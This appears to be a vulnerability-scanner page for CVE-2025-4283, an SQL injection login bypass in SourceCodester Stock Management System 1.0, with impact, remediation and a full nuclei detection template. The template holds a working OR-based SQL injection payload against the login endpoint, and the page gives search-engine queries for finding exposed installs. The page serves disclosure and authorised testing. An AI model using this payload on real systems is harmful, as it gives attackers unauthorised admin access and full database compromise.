SourceCodester Stock Management System 1.0 - SQL Injection Authentication Bypass

criticalseverity

9.8CVSS score

2.2%likelihood of exploitation, next 30 days

83%of all CVEs are less likely

Readycheck to confirm it

SourceCodester Stock Management System 1.0 contains a SQL injection vulnerability in the login function at /sms/classes/Login.php. The username parameter is directly interpolated into an SQL query without sanitization, allowing an unauthenticated attacker to bypass authentication and gain admin access via a crafted OR-based payload.

Impact

An unauthenticated remote attacker can bypass authentication and gain administrative access to the Stock Management System, leading to full database compromise.

Fix

Use prepared statements with parameterized queries for all database interactions. Replace direct string interpolation in SQL queries with PDO or MySQLi prepared statements.

How to confirm it

Send: POST /sms/classes/Login.php?f=login
Positive when: contains(body, "\"status\":\"incorrect\"")
Send: POST /sms/classes/Login.php?f=login
Positive when: contains(body, "\"status\":\"success\"") and status_code == 200 and contains(to_lower(header), "text/html")

Run it with nuclei: nuclei -id CVE-2025-4283 -u <target>

The full check

id: CVE-2025-4283

info:
  name: SourceCodester Stock Management System 1.0 - SQL Injection Authentication Bypass
  author: DhiyaneshDk
  severity: critical
  description: |
    SourceCodester Stock Management System 1.0 contains a SQL injection vulnerability in the login function at /sms/classes/Login.php. The username parameter is directly interpolated into an SQL query without sanitization, allowing an unauthenticated attacker to bypass authentication and gain admin access via a crafted OR-based payload.
  impact: |
    An unauthenticated remote attacker can bypass authentication and gain administrative access to the Stock Management System, leading to full database compromise.
  remediation: |
    Use prepared statements with parameterized queries for all database interactions. Replace direct string interpolation in SQL queries with PDO or MySQLi prepared statements.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-4283
    - https://github.com/th3w0lf-1337/Vulnerabilities/blob/main/SMS-PHP/SQLi/Auth-Bypass/info.md
    - https://www.sourcecodester.com/php/17aborb/stock-management-system-php.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-4283
    cwe-id: CWE-89
    epss-score: 0.02197
    epss-percentile: 0.82775
  metadata:
    verified: true
    max-request: 2
    vendor: oretnom23
    product: stock_management_system
    fofa-query: title="Stock Management System"
    shodan-query: title:"Stock Management System"
  tags: cve,cve2025,sqli,auth-bypass,sourcecodester,sms,vkev

variables:
  rand: "{{rand_text_alpha(8)}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /sms/classes/Login.php?f=login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{rand}}&password={{rand}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "\"status\":\"incorrect\"")'
        internal: true

  - raw:
      - |
        POST /sms/classes/Login.php?f=login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{url_encode("admin' OR '{{rand}}'='{{rand}}")}}&password={{rand}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "\"status\":\"success\"")'
          - 'status_code == 200'
          - 'contains(to_lower(header), "text/html")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from